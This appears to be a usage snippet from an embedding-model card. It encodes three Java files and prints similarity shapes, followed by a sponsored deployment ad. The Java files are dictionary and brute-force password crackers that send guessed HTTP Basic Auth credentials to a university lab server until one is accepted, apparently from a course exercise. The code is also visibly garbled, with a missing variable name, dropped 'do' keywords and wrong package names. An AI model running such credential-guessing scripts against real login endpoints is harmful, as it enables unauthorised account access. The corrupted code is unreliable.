    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Deploy This Model

Production-ready deployment in minutes

Together.ai

Instant API access to this model

Fastest API

Production-ready inference API. Start free, scale to millions.

Try Free API

Replicate

One-click model deployment

Easiest Setup

Run models in the cloud with simple API. No DevOps required.

Deploy Now

Disclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.